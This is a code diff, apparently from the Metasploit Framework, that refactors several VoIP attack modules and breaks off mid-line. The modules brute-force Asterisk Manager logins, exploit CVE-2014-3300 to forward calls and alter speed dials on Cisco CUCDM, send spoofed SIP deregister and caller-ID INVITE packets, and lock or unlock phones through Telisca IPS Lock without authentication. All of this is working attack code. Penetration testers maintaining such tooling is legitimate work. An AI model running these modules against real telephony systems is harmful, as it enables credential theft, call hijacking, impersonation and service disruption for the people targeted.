Opt::RPORT(5038), OptString.new('USER_FILE', - [ - false, - 'The file that contains a list of probable users accounts.', - File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') - ]), + [ + false, + 'The file that contains a list of probable users accounts.', + File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') + ]), OptString.new('PASS_FILE', - [ - false, - 'The file that contains a list of probable passwords.', - File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') - ]) - ]) + [ + false, + 'The file that contains a list of probable passwords.', + File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') + ]) + ] + ) end def report_cred(opts) @@ -75,56 +82,58 @@ def report_cred(opts) create_credential_login(login_data) end - def run_host(ip) - print_status("Initializing module...") - begin - each_user_pass do |user, pass| - do_login(user, pass) - end - rescue ::Rex::ConnectionError - rescue ::Exception => e - vprint_error("#{rhost}:#{rport} #{e.to_s} #{e.backtrace}") + def run_host(_ip) + print_status('Initializing module...') + each_user_pass do |user, pass| + do_login(user, pass) end + rescue ::Rex::ConnectionError => e + vprint_error("#{e.class}: #{e.message}") + rescue StandardError => e + elog("Asterisk login attempt failed", error: e) + vprint_error("#{e.class}: #{e.message}") end - def send_manager(command='') - begin - @result = '' - if (!@connected) - connect - @connected = true - select(nil,nil,nil,0.4) - end - sock.put(command) - @result = sock.get_once || '' - rescue ::Exception => err - print_error("Error: #{err.to_s}") + def send_manager(command = '') + @result = '' + if !@connected + connect + @connected = true + select(nil, nil, nil, 0.4) end + sock.put(command) + @result = sock.get_once || '' + rescue StandardError => e + print_error("Error: #{e}") end - def do_login(user='',pass='') + def do_login(user = '', pass = '') @connected = false - begin - send_manager(nil) # connect Only - if @result !~ /^Asterisk Call Manager(.*)/ - print_error("Asterisk Manager does not appear to be running") - return :abort - else - vprint_status("#{rhost}:#{rport} - Trying user:'#{user}' with password:'#{pass}'") - cmd = "Action: Login\r\nUsername: #{user}\r\nSecret: #{pass}\r\n\r\n" - send_manager(cmd) - if /Response: Success/.match(@result) - print_good("User: \"#{user}\" using pass: \"#{pass}\" - can login on #{rhost}:#{rport}!") - report_cred(ip: rhost, port: rport, user: user, password: pass, proof: @result) - disconnect - return :next_user - else - disconnect - return :fail - end - end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + send_manager(nil) # connect only + + if @result !~ /^Asterisk Call Manager(.*)/ + print_error('Asterisk Manager does not appear to be running') + return :abort end + + vprint_status("#{rhost}:#{rport} - Trying user:'#{user}' with password:'#{pass}'") + cmd = "Action: Login\r\nUsername: #{user}\r\nSecret: #{pass}\r\n\r\n" + send_manager(cmd) + + if /Response: Success/.match(@result) + print_good("User: \"#{user}\" using pass: \"#{pass}\" - can login on #{rhost}:#{rport}!") + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: @result) + disconnect + return :next_user + end + + disconnect + return :fail + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error(e.message) + return :fail + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) + return :fail end end diff --git a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb index a27595b59cd4e..929c63cf3b2aa 100644 --- a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb +++ b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb @@ -8,37 +8,44 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool', - 'Description' => %q{ - The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager - (CDM) 10 does not properly implement access control, which allows remote attackers to - modify user information. This module exploits the vulnerability to configure unauthorized - call forwarding. - }, - 'Author' => 'fozavci', - 'References' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool', + 'Description' => %q{ + The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager + (CDM) 10 does not properly implement access control, which allows remote attackers to + modify user information. This module exploits the vulnerability to configure unauthorized + call forwarding. + }, + 'Author' => 'fozavci', + 'References' => [ ['CVE', '2014-3300'], ['BID', '68331'] ], - 'License' => MSF_LICENSE, - 'Actions' => - [ + 'License' => MSF_LICENSE, + 'Actions' => [ [ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ], [ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ] ], - 'DefaultAction' => 'Info' - )) + 'DefaultAction' => 'Info', + 'Notes' => { + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) register_options( [ OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']), - OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), + OptString.new('MAC', [ true, 'MAC address of target phone', '000000000000']), OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']), - OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines']) - ]) + OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP phones, required for multiple lines']) + ] + ) end def run @@ -52,22 +59,23 @@ def run def get_info uri = normalize_uri(target_uri.to_s) - mac = datastore["MAC"] + mac = datastore['MAC'] - print_status("Getting fintnumbers and display names of the IP phone") + print_status('Getting fintnumbers and display names of the IP phone') res = send_request_cgi( - { - 'uri' => normalize_uri(uri, 'showcallfwd.cgi'), - 'method' => 'GET', - 'vars_get' => { - 'device' => "SEP#{mac}" - } - }) + { + 'uri' => normalize_uri(uri, 'showcallfwd.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'device' => "SEP#{mac}" + } + } + ) unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/ - print_error("Target appears not vulnerable!") - print_status("#{res}") + print_error('Target appears not vulnerable!') + print_status(res.to_s) return [] end @@ -79,9 +87,9 @@ def get_info list.each do |lst| xlist = lst.get_elements('Name') - xlist.each {|l| lines << "#{l[0]}"} + xlist.each { |l| lines << (l[0]).to_s } xlist = lst.get_elements('URL') - xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" } + xlist.each { |l| fint_numbers << (l[0].to_s.split('fintnumber=')[1]).to_s } end lines.size.times do |i| @@ -94,8 +102,8 @@ def get_info def forward_calls # for a specific FINTNUMBER redirection uri = normalize_uri(target_uri.to_s) - forward_to = datastore["FORWARDTO"] - mac = datastore["MAC"] + forward_to = datastore['FORWARDTO'] + mac = datastore['MAC'] if datastore['FINTNUMBER'] fint_numbers = [datastore['FINTNUMBER']] @@ -104,41 +112,42 @@ def forward_calls end if fint_numbers.empty? - print_error("FINTNUMBER required to forward calls") + print_error('FINTNUMBER required to forward calls') return end fint_numbers.each do |fintnumber| - print_status("Sending call forward request for #{fintnumber}") send_request_cgi( - { - 'uri' => normalize_uri(uri, 'phonecallfwd.cgi'), - 'method' => 'GET', - 'vars_get' => { - 'cfoption' => 'CallForwardAll', - 'device' => "SEP#{mac}", - 'ProviderName' => 'NULL', - 'fintnumber' => "#{fintnumber}", - 'telno1' => "#{forward_to}" - } - }) + { + 'uri' => normalize_uri(uri, 'phonecallfwd.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'cfoption' => 'CallForwardAll', + 'device' => "SEP#{mac}", + 'ProviderName' => 'NULL', + 'fintnumber' => fintnumber.to_s, + 'telno1' => forward_to.to_s + } + } + ) res = send_request_cgi( - { - 'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'), - 'method' => 'GET', - 'vars_get' => { - 'device' => "SEP#{mac}", - 'fintnumber' => "#{fintnumber}" - } - }) - - if res && res.body && res.body && res.body.to_s =~ /CFA/ + { + 'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'device' => "SEP#{mac}", + 'fintnumber' => fintnumber.to_s + } + } + ) + + if res && res.body.to_s.include?('CFA') print_good("Call forwarded successfully for #{fintnumber}") else - print_error("Call forward failed") + print_error('Call forward failed') end end end diff --git a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb index 90b9ba751c909..3e8a55ea187e0 100644 --- a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb +++ b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb @@ -8,72 +8,78 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool', - 'Description' => %q{ - The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager - (CDM), before version 10, doesn't implement access control properly, which allows remote - attackers to modify user information. This module exploits the vulnerability to make - unauthorized speed dial entity manipulations. - }, - 'Author' => 'fozavci', - 'References' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool', + 'Description' => %q{ + The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager + (CDM), before version 10, doesn't implement access control properly, which allows remote + attackers to modify user information. This module exploits the vulnerability to make + unauthorized speed dial entity manipulations. + }, + 'Author' => 'fozavci', + 'References' => [ ['CVE', '2014-3300'], ['BID', '68331'] ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ], [ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ], - [ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ], + [ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ], [ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ] ], - 'DefaultAction' => 'List' - )) + 'DefaultAction' => 'List', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) register_options( - [ - OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']), - OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), - OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']), - OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']), - OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']), - ]) + [ + OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']), + OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), + OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']), + OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']), + OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']), + ] + ) end def run - case action.name.upcase - when 'MODIFY' - modify - when 'DELETE' - delete - when 'ADD' - add - when 'LIST' - list + when 'MODIFY' + modify + when 'DELETE' + delete + when 'ADD' + add + when 'LIST' + list end - end def send_rcv(uri, vars_get) uri = normalize_uri(target_uri.to_s, uri.to_s) res = send_request_cgi( { - 'uri' => uri, + 'uri' => uri, 'method' => 'GET', 'vars_get' => vars_get - }) + } + ) if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/ return Exploit::CheckCode::Vulnerable, res - else - print_error("Target appears not vulnerable!") - return Exploit::CheckCode::Safe, res end + + print_error('Target appears not vulnerable!') + return Exploit::CheckCode::Safe, res end def parse(res) @@ -84,29 +90,30 @@ def parse(res) list = doc.root.get_elements('DirectoryEntry') list.each do |lst| xlist = lst.get_elements('Name') - xlist.each {|l| names << "#{l[0]}"} + xlist.each { |l| names << (l[0]).to_s } xlist = lst.get_elements('Telephone') - xlist.each {|l| phones << "#{l[0]}" } + xlist.each { |l| phones << (l[0]).to_s } end - if names.size > 0 - names.size.times do |i| - info = '' - info << "Position: #{names[i].split(":")[0]}, " - info << "Name: #{names[i].split(":")[1]}, " - info << "Telephone: #{phones[i]}" + if names.empty? + print_status('No Speed Dial detected') + return + end - print_good("#{info}") - end - else - print_status("No Speed Dial detected") + names.size.times do |i| + info = '' + info << "Position: #{names[i].split(':')[0]}, " + info << "Name: #{names[i].split(':')[1]}, " + info << "Telephone: #{phones[i]}" + + print_good(info.to_s) end end def list mac = datastore['MAC'] - print_status("Getting Speed Dials of the IP phone") + print_status('Getting Speed Dials of the IP phone') vars_get = { 'device' => "SEP#{mac}" } @@ -121,20 +128,20 @@ def add position = datastore['POSITION'] telno = datastore['TELNO'] - print_status("Adding Speed Dial to the IP phone") + print_status('Adding Speed Dial to the IP phone') vars_get = { - 'name' => "#{name}", - 'telno' => "#{telno}", + 'name' => name.to_s, + 'telno' => telno.to_s, 'device' => "SEP#{mac}", - 'entry' => "#{position}", - 'mac' => "#{mac}" + 'entry' => position.to_s, + 'mac' => mac.to_s } status, res = send_rcv('phonespeedialadd.cgi', vars_get) if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/ print_good("Speed Dial #{position} is added successfully") elsif res && res.body && res.body.to_s =~ /exist/ - print_error("Speed Dial is exist, change the position or choose modify!") + print_error('Speed Dial is exist, change the position or choose modify!') else print_error("Speed Dial couldn't add!") end @@ -144,10 +151,10 @@ def delete mac = datastore['MAC'] position = datastore['POSITION'] - print_status("Deleting Speed Dial of the IP phone") + print_status('Deleting Speed Dial of the IP phone') vars_get = { - 'entry' => "#{position}", + 'entry' => position.to_s, 'device' => "SEP#{mac}" } @@ -156,7 +163,7 @@ def delete if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/ print_good("Speed Dial #{position} is deleted successfully") else - print_error("Speed Dial is not found!") + print_error('Speed Dial is not found!') end end @@ -166,10 +173,10 @@ def modify position = datastore['POSITION'] telno = datastore['TELNO'] - print_status("Deleting Speed Dial of the IP phone") + print_status('Deleting Speed Dial of the IP phone') vars_get = { - 'entry' => "#{position}", + 'entry' => position.to_s, 'device' => "SEP#{mac}" } @@ -177,14 +184,14 @@ def modify if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/ print_good("Speed Dial #{position} is deleted successfully") - print_status("Adding Speed Dial to the IP phone") + print_status('Adding Speed Dial to the IP phone') vars_get = { - 'name' => "#{name}", - 'telno' => "#{telno}", + 'name' => name.to_s, + 'telno' => telno.to_s, 'device' => "SEP#{mac}", - 'entry' => "#{position}", - 'mac' => "#{mac}" + 'entry' => position.to_s, + 'mac' => mac.to_s } status, res = send_rcv('phonespeedialadd.cgi', vars_get) @@ -192,12 +199,12 @@ def modify if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/ print_good("Speed Dial #{position} is added successfully") elsif res && res.body =~ /exist/ - print_error("Speed Dial is exist, change the position or choose modify!") + print_error('Speed Dial is exist, change the position or choose modify!') else print_error("Speed Dial couldn't add!") end else - print_error("Speed Dial is not found!") + print_error('Speed Dial is not found!') end end end diff --git a/modules/auxiliary/voip/sip_deregister.rb b/modules/auxiliary/voip/sip_deregister.rb index c8a8be1ad1e13..8530ef247bebc 100644 --- a/modules/auxiliary/voip/sip_deregister.rb +++ b/modules/auxiliary/voip/sip_deregister.rb @@ -9,104 +9,106 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'SIP Deregister Extension', - 'Description' => %q{ + 'Name' => 'SIP Deregister Extension', + 'Description' => %q{ This module will attempt to deregister a SIP user from the provider. It has been tested successfully when the sip provider/server doesn't use REGISTER authentication. }, - 'Author' => [ 'ChrisJohnRiley' ], - 'License' => MSF_LICENSE + 'Author' => [ 'ChrisJohnRiley' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) deregister_udp_options register_options( [ Opt::RPORT(5060), - OptString.new('SRCADDR', [true, "The sip address the spoofed deregister request is coming from",'192.168.1.1']), - OptString.new('EXTENSION', [true, "The specific extension or name to target", '100']), - OptString.new('DOMAIN', [true, "Use a specific SIP domain", 'example.com']) - ]) + OptString.new('SRCADDR', [true, 'The sip address the spoofed deregister request is coming from', '192.168.1.1']), + OptString.new('EXTENSION', [true, 'The specific extension or name to target', '100']), + OptString.new('DOMAIN', [true, 'Use a specific SIP domain', 'example.com']) + ] + ) register_advanced_options( [ - OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]), - OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060]) - ]) + OptAddress.new('SIP_PROXY_NAME', [false, 'Use a specific SIP proxy', nil]), + OptPort.new('SIP_PROXY_PORT', [false, 'SIP Proxy port to use', 5060]) + ] + ) end - def setup # throw argument error if extension or domain contain spaces if datastore['EXTENSION'].match(/\s/) - raise ArgumentError, "EXTENSION cannot contain spaces" + raise ArgumentError, 'EXTENSION cannot contain spaces' elsif datastore['DOMAIN'].match(/\s/) - raise ArgumentError, "DOMAIN cannot contain spaces" + raise ArgumentError, 'DOMAIN cannot contain spaces' end end def run_host(ip) + src = datastore['SRCADDR'] + ext = datastore['EXTENSION'] + dom = datastore['DOMAIN'] + sphost = datastore['SIP_PROXY_NAME'] + spport = datastore['SIP_PROXY_PORT'] || 5060 + conn_string = "#{ext}@#{dom}" + + # set Route header if SIP_PROXY is set + if !sphost.nil? && !sphost.empty? + route = "Route: \r\n" + end + + connect_udp + + print_status("Sending deregistration packet to: #{conn_string}") + print_status("Using SIP proxy #{sphost}:#{spport}") if route + + req = "REGISTER sip:#{dom} SIP/2.0" + "\r\n" + req << route if route + req << "Via: SIP/2.0/UDP #{src}" + "\r\n" + req << 'Max-Forwards: 70' + "\r\n" + req << "To: \"#{ext}\"" + "\r\n" + req << "From: \"#{ext}\"" + "\r\n" + req << "Call-ID: #{rand(100..199)}#{ip}" + "\r\n" + req << 'CSeq: 1 REGISTER' + "\r\n" + req << 'Contact: *' + "\r\n" + req << 'Expires: 0' + "\r\n" + req << 'Content-Length: 0' + "\r\n\r\n" + + udp_sock.put(req) + response = false - begin - - src = datastore['SRCADDR'] - ext = datastore['EXTENSION'] - dom = datastore['DOMAIN'] - sphost = datastore['SIP_PROXY_NAME'] - spport = datastore['SIP_PROXY_PORT'] || 5060 - conn_string = "#{ext}@#{dom}" - - # set Route header if SIP_PROXY is set - if not sphost.nil? and not sphost.empty? - route = "Route: \r\n" - end - - connect_udp - - print_status("Sending deregistration packet to: #{conn_string}") - print_status("Using SIP proxy #{sphost}:#{spport}") if route - - req = "REGISTER sip:#{dom} SIP/2.0" + "\r\n" - req << route if route - req << "Via: SIP/2.0/UDP #{src}" + "\r\n" - req << "Max-Forwards: 70" + "\r\n" - req << "To: \"#{ext}\"" + "\r\n" - req << "From: \"#{ext}\"" + "\r\n" - req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n" - req << "CSeq: 1 REGISTER" + "\r\n" - req << "Contact: *" + "\r\n" - req << "Expires: 0" + "\r\n" - req << "Content-Length: 0" + "\r\n\r\n" - - udp_sock.put(req) - response = false - - while (r = udp_sock.recvfrom(65535, 3) and r[1]) - response = parse_reply(r) - end - - # print error information if no response has been received - # may be expected if spoofing the SRCADDR - print_error("No response received from remote host") if not response - - rescue Errno::EACCES - ensure - disconnect_udp + while ((r = udp_sock.recvfrom(65535, 3))) && r[1] + response = parse_reply(r) end + # print error information if no response has been received + # may be expected if spoofing the SRCADDR + print_error('No response received from remote host') if !response + rescue Errno::EACCES => e + vprint_error(e.message) + ensure + disconnect_udp end def parse_reply(pkt) # parse response to check if the ext was successfully de-registered - if(pkt[1] =~ /^::ffff:/) + if (pkt[1] =~ /^::ffff:/) pkt[1] = pkt[1].sub(/^::ffff:/, '') end - resp = pkt[0].split(/\s+/)[1] - rhost,rport = pkt[1], pkt[2] + resp = pkt[0].split(/\s+/)[1] + _rhost = pkt[1] + _rport = pkt[2] - if(pkt[0] =~ /^To\:\s*(.*)$/i) - testn = "#{$1.strip}".split(';')[0] + if (pkt[0] =~ /^To:\s*(.*)$/i) + testn = ::Regexp.last_match(1).strip.to_s.split(';')[0] end case resp.to_i diff --git a/modules/auxiliary/voip/sip_invite_spoof.rb b/modules/auxiliary/voip/sip_invite_spoof.rb index f59803c1c5ec4..367dfe11a23c7 100644 --- a/modules/auxiliary/voip/sip_invite_spoof.rb +++ b/modules/auxiliary/voip/sip_invite_spoof.rb @@ -9,86 +9,86 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'SIP Invite Spoof', - 'Description' => %q{ + 'Name' => 'SIP Invite Spoof', + 'Description' => %q{ This module will create a fake SIP invite request making the targeted device ring and display fake caller id information. }, - 'Author' => - [ - 'David Maynor ', # original module - 'ChrisJohnRiley' # modifications - ], - 'License' => MSF_LICENSE + 'Author' => [ + 'David Maynor ', # original module + 'ChrisJohnRiley' # modifications + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) deregister_udp_options register_options( [ Opt::RPORT(5060), - OptString.new('SRCADDR', [true, "The sip address the spoofed call is coming from",'192.168.1.1']), - OptString.new('MSG', [true, "The spoofed caller id to send","The Metasploit has you"]), - OptString.new('EXTENSION', [false, "The specific extension or name to target", nil]), - OptString.new('DOMAIN', [false, "Use a specific SIP domain", nil]) - ]) + OptString.new('SRCADDR', [true, 'The sip address the spoofed call is coming from', '192.168.1.1']), + OptString.new('MSG', [true, 'The spoofed caller id to send', 'The Metasploit has you']), + OptString.new('EXTENSION', [false, 'The specific extension or name to target', nil]), + OptString.new('DOMAIN', [false, 'Use a specific SIP domain', nil]) + ] + ) register_advanced_options( [ - OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]), - OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060]) - ]) + OptAddress.new('SIP_PROXY_NAME', [false, 'Use a specific SIP proxy', nil]), + OptPort.new('SIP_PROXY_PORT', [false, 'SIP Proxy port to use', 5060]) + ] + ) end - def run_host(ip) + name = datastore['MSG'] + src = datastore['SRCADDR'] + ext = datastore['EXTENSION'] + dom = datastore['DOMAIN'] + sphost = datastore['SIP_PROXY_NAME'] + spport = datastore['SIP_PROXY_PORT'] || 5060 + conn_string = '' + + if !ext.nil? && !ext.empty? + # set extension name/number + conn_string = "#{ext}@" + end - begin - - name = datastore['MSG'] - src = datastore['SRCADDR'] - ext = datastore['EXTENSION'] - dom = datastore['DOMAIN'] - sphost = datastore['SIP_PROXY_NAME'] - spport = datastore['SIP_PROXY_PORT'] || 5060 - conn_string = '' - - if not ext.nil? and not ext.empty? - # set extension name/number - conn_string = "#{ext}@" - end - - if not dom.nil? and not dom.empty? - # set domain - conn_string << "#{dom}" - else - conn_string << "#{ip}" - end - - # set Route header if SIP_PROXY is set - if not sphost.nil? and not sphost.empty? - route = "Route: \r\n" - end - - connect_udp - - print_status("Sending Fake SIP Invite to: #{conn_string}") - print_status("Using SIP proxy #{sphost}:#{spport}") if route - - req = "INVITE sip:#{conn_string} SIP/2.0" + "\r\n" - # add Route: header to req if SIP_PROXY is set - req << route if route - req << "To: " + "\r\n" - req << "Via: SIP/2.0/UDP #{ip}" + "\r\n" - req << "From: \"#{name}\"" + "\r\n" - req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n" - req << "CSeq: 1 INVITE" + "\r\n" - req << "Max-Forwards: 20" + "\r\n" - req << "Contact: " + "\r\n\r\n" - - udp_sock.put(req) - disconnect_udp + if !dom.nil? && !dom.empty? + # set domain + conn_string << dom.to_s + else + conn_string << ip.to_s + end - rescue Errno::EACCES + # set Route header if SIP_PROXY is set + if !sphost.nil? && !sphost.empty? + route = "Route: \r\n" end + connect_udp + + print_status("Sending Fake SIP Invite to: #{conn_string}") + print_status("Using SIP proxy #{sphost}:#{spport}") if route + + req = "INVITE sip:#{conn_string} SIP/2.0" + "\r\n" + # add Route: header to req if SIP_PROXY is set + req << route if route + req << "To: " + "\r\n" + req << "Via: SIP/2.0/UDP #{ip}" + "\r\n" + req << "From: \"#{name}\"" + "\r\n" + req << "Call-ID: #{rand(100..199)}#{ip}" + "\r\n" + req << 'CSeq: 1 INVITE' + "\r\n" + req << 'Max-Forwards: 20' + "\r\n" + req << "Contact: " + "\r\n\r\n" + + udp_sock.put(req) + disconnect_udp + rescue Errno::EACCES => e + vprint_error(e.message) end end diff --git a/modules/auxiliary/voip/telisca_ips_lock_control.rb b/modules/auxiliary/voip/telisca_ips_lock_control.rb index 39809439dbf42..2e7de8b94f362 100644 --- a/modules/auxiliary/voip/telisca_ips_lock_control.rb +++ b/modules/auxiliary/voip/telisca_ips_lock_control.rb @@ -7,53 +7,58 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Telisca IPS Lock Cisco IP Phone Control', - 'Description' => %q{ - This module allows an unauthenticated attacker to exercise the - "Lock" and "Unlock" functionality of Telisca IPS Lock for Cisco IP - Phones. This module should be run in the VoIP VLAN, and requires - knowledge of the target phone's name (for example, SEP002497AB1D4B). - - Set ACTION to either LOCK or UNLOCK. UNLOCK is the default. - }, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Telisca IPS Lock Cisco IP Phone Control', + 'Description' => %q{ + This module allows an unauthenticated attacker to exercise the + "Lock" and "Unlock" functionality of Telisca IPS Lock for Cisco IP + Phones. This module should be run in the VoIP VLAN, and requires + knowledge of the target phone's name (for example, SEP002497AB1D4B). + + Set ACTION to either LOCK or UNLOCK. UNLOCK is the default. + }, + 'References' => [ # Publicly disclosed via Metasploit PR - 'URL', 'https://github.com/rapid7/metasploit-framework/pull/6470' + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/6470'], ], - 'Author' => - [ + 'Author' => [ 'Fakhir Karim Reda ', 'zirsalem' ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => '2015-12-17', - 'Actions' => - [ - ['LOCK', 'Description' => 'To lock a phone'], - ['UNLOCK', 'Description' => 'To unlock a phone'] - ], - 'DefaultAction' => 'UNLOCK' - )) + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2015-12-17', + 'Actions' => [ + ['LOCK', { 'Description' => 'To lock a phone' }], + ['UNLOCK', { 'Description' => 'To unlock a phone' }] + ], + 'DefaultAction' => 'UNLOCK', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) register_options( [ OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']), OptString.new('PHONENAME', [true, 'The name of the target phone']) - ]) - + ] + ) end - def print_status(msg='') + def print_status(msg = '') super("#{peer} - #{msg}") end - def print_good(msg='') + def print_good(msg = '') super("#{peer} - #{msg}") end - def print_error(msg='') + def print_error(msg = '') super("#{peer} - #{msg}") end @@ -61,18 +66,17 @@ def print_error(msg='') # # @return [Boolean] TrueClass if port open, otherwise FalseClass. def port_open? - begin - res = send_request_raw({'method' => 'GET', 'uri' => '/'}) - return true if res - rescue ::Rex::ConnectionRefused - vprint_status("Connection refused") - rescue ::Rex::ConnectionError - vprint_error("Connection failed") - rescue ::OpenSSL::SSL::SSLError - vprint_error("SSL/TLS connection error") - end - - false + res = send_request_raw({ 'method' => 'GET', 'uri' => '/' }) + res ? true : false + rescue ::Rex::ConnectionRefused + vprint_status('Connection refused') + return false + rescue ::Rex::ConnectionError + vprint_error('Connection failed') + return false + rescue ::OpenSSL::SSL::SSLError + vprint_error('SSL/TLS connection error') + return false end # Locks a device. @@ -82,14 +86,14 @@ def port_open? # @return [void] def lock(phone_name) res = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/IPSPCFG/user/Default.aspx', - 'headers' => { + 'method' => 'GET', + 'uri' => '/IPSPCFG/user/Default.aspx', + 'headers' => { 'Connection' => 'keep-alive', 'Accept-Language' => 'en-US,en;q=0.5' }, - 'vars_get' => { - 'action' => 'DO', + 'vars_get' => { + 'action' => 'DO', 'tg' => 'L', 'pn' => phone_name, 'dp' => '', @@ -98,20 +102,25 @@ def lock(phone_name) } }) - if res && res.code == 200 - if res.body.include?('Unlock') || res.body.include?('U7LCK') - print_good("The device #{phone_name} is already locked") - elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT') - print_good("Device #{phone_name} successfully locked") - end - elsif res + unless res + print_error('The connection timed out while trying to unlock') + return + end + + unless res.code == 200 print_error("Unexpected response #{res.code}") + return + end + + if res.body.include?('Unlock') || res.body.include?('U7LCK') + print_good("The device #{phone_name} is already locked") + elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT') + print_good("Device #{phone_name} successfully locked") else - print_error('The connection timed out while trying to lock.') + print_error('Unexpected reply') end end - # Unlocks a phone. # # @param phone_name [String] Name of the phone used for the pn parameter. @@ -119,33 +128,38 @@ def lock(phone_name) # @return [void] def unlock(phone_name) res = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/IPSPCFG/user/Default.aspx', - 'headers' => { + 'method' => 'GET', + 'uri' => '/IPSPCFG/user/Default.aspx', + 'headers' => { 'Connection' => 'keep-alive', 'Accept-Language' => 'en-US,en;q=0.5' }, 'vars_get' => { 'action' => 'U7LCK', - 'pn' => phone_name, - 'dp' => '' + 'pn' => phone_name, + 'dp' => '' } }) - if res && res.code == 200 - if res.body.include?('Unlock') || res.body.include?('U7LCK') - print_good("The device #{phone_name} is already locked") - elsif res.body.include?('unlocked') || res.body.include?('QUIT') - print_good("The device #{phone_name} successfully 